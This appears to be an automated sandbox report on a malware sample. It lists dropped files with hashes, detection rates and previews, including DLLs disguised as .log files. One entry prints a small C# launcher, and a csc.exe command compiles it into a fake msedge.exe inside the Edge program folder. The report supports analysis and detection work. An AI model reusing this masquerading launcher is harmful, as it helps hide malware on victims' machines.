C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.0.cs

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.068719568586758
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6LzIfiFkMSf+eBLyprSiFkD:JNVQIbSfhWLzIiFkMSfh+pDFkD
MD5:	83A85D5666BF79C9A9D2D4EE50B120FC
SHA1:	5ADE709F8CB1124D9EB99A52A7AE3A8046B97CD0
SHA-256:	1913819198CCE7A40ABC768D7E22B78DAB2485C56CD394EA10871457F2AB4D3F
SHA-512:	666605D6A60E4E3012F8DE1CE618A481A9EA632F64F3944FED36FE84DA81CFD040792CD889FE1507CEC9ACF26E6772A2BE90BE3BBC96DFE2BA6B8C0D065D4330
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.133617619455985
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRf5oeTckKBzxsjGZxWE8oCHhJ23fvXZXP:Hu7L//TRRzscQDl
MD5:	25B65108EFAAA2AA3785465FD358BA43
SHA1:	B54FBB7BA477C031F62E1C05AA8915186F1DC13C
SHA-256:	E046B93B3F9E0C5CBDC366F121C03971551496462F976C595DE08A634DA11E61
SHA-512:	4D3200FDF80153CEF53CCFF849587C7C92736B817655BEB70CFD695C3DDF190BDE6EE32F97044BD3E4A1849FE8303A168105E3508C97593C7BDABCB75781004F
Malicious:	true
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.0.cs"

C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.out

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (347), with CRLF, CR line terminators
Category:	modified
Size (bytes):	768
Entropy (8bit):	5.238293521002266
Encrypted:	false
SSDEEP:	12:lzMI/u7L//TRRzscQDAKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:WI/un/VRzstDAKax5DqBVKVrdFAMBJTH
MD5:	73977B4C9D8C26A223799613878814D6
SHA1:	8EA6BCFC950177FC74476C5B1D0D0791A3EF5BD6
SHA-256:	36A19E763758F8C1EA278912D76847085CFBAFF60AC159FD92651E1987776493
SHA-512:	2083A0CE0809C1CA93840051FC3BA17CBB656A6354EAD52011A11353A706BCE9E3D81C457BD5DA0ACB584B3B4472D972E7451D0F08964AB919C186C95A5914BB
Malicious:	false
Reputation:	unknown
Preview:	.C:\Bridgecontainerserver> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\zzoYFBHait

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 11:16:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.98048471801125
Encrypted:	false
SSDEEP:	48:8m0dxT5B/dHTidAKZdA1oehwiZUklqehoxy+3:8m6Lizy
MD5:	4342083B545B0CBD083BAAEFAA399759
SHA1:	A300E2D26E45D1CDF4C3ADC14EAADC7FB91C1014
SHA-256:	1F97EAF6BD984553E2DEB43566A92D55A4B5CB68D5C3740745A29D60B4B34963
SHA-512:	EDDA378F9F54F27ACFE7D94DEE7A180E80CC5E7B8762A08B472597CA907771317ABD2DB6C94BA39A43655FC8B8EABC29A8FAC795C439D16039E85449DCCAB915
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......f.O..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 11:16:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9949949712787287
Encrypted:	false
SSDEEP:	48:8D0dxT5B/dHTidAKZdA1leh/iZUkAQkqehZxy+2:8D6LY9QCy
MD5:	03CD28284589B618803902BE4713AB08
SHA1:	0753E1D8645C9B76FCA099090506AFF818E24224
SHA-256:	A5A165A4CFC6DA3281E2A1B7EE98EBD2168FD0E1041A5FBABD8811BA21745D6C
SHA-512:	3E7BB1911C9F657ADBC2D36057BA3772953DEBCD74F1A885CC610E92D35BC5E8670145713C677F5A8F5F32EE6D422C3A20DA94C211BEB733199F439B7BDB11BA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......f.O..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007177372641362
Encrypted:	false
SSDEEP:	48:8Q0dxT5B/bHTidAKZdA14t5eh7sFiZUkmgqeh7sXxy+BX:8Q6LKn3y
MD5:	29B25F64452F79C3FFFB9731D478E6A3
SHA1:	674F0931A7DCA75402D17D60F36F0BC92A86290D
SHA-256:	A80C03AAC987FED369DF06D8E091D0603BE80680B684C92765FA9C7908601485
SHA-512:	CF6786D8F430F2ADD62C4EB2CEA9C02B9425C97A871B14F73D7B1A23288B859A278AA47CD66D2DB1967AAFD0FAA98AC0E03DB8E774AD38634719D2942BD6E9C9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 11:16:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991959788997716
Encrypted:	false
SSDEEP:	48:8x0dxT5B/dHTidAKZdA16ehDiZUkwqehdxy+R:8x6LTpy
MD5:	030BE6D02028943722664CF8EDE34EEB
SHA1:	438595FBBA7FB38828BC86CCF8C70098CE803D67
SHA-256:	1838CD52BF92C54F4A362FC8B6BACE8852B147BAC629AE9561389CFB09851C4A
SHA-512:	D26E6E611ABD01E967CE65B81159709F180882A710DB8B333362E306EB8E1040D882BEF7AC2C2A343E03AB7A2B57DDDC87BD5EFFA13E9E909FFDA7425F485933
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....xaf.O..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 11:16:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9842641473152423
Encrypted:	false
SSDEEP:	48:8v0dxT5B/dHTidAKZdA1UehBiZUk1W1qehTxy+C:8v6Lj9ly
MD5:	392FA941211C51E46C67D9155FB5E905
SHA1:	25446A94E9DB9D0689233C42473A309CE1384B30
SHA-256:	68AD6047C769104E63A84AAE39F63F686B33179F5005AFBE79BCC103485F543E
SHA-512:	20EEFEF07F4EA7AE5B181919D48E1E1B1E387EADFE4869C673A328206DB2CEE70BDD072C9E738C4777656F118E712473EE3976D720035532769250A831B9FCDA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....R..f.O..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 11:16:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9938300073701805
Encrypted:	false
SSDEEP:	48:8B0dxT5B/dHTidAKZdA1duTrehOuTbbiZUk5OjqehOuTblxy+yT+:8B6LsTYTbxWOvTb3y7T
MD5:	B657E7482571A16F658C83A2D7F10484
SHA1:	122E17A1ABEC260CD7A9F5057B3EB741CFDF9567
SHA-256:	D901736C76E6432AF7A9FEA8246B7A6F77658654122BEA9A309699DE8E2790DF
SHA-512:	3116438E54A11AC69D0C6C2AA68567FBD31A07F47A1AB90B73A863C34793086DF843374DF1ACDF7E130EB4656939524DFC0C158CACF52E3426BC07261F703F36
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....eNf.O..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........JI<s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Desktop\AdKFKFnN.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\AymfKYeB.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\KhFvuBjj.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\QIbCILuV.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TpmKebIc.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\UlZluYeg.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\boWaNnOy.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
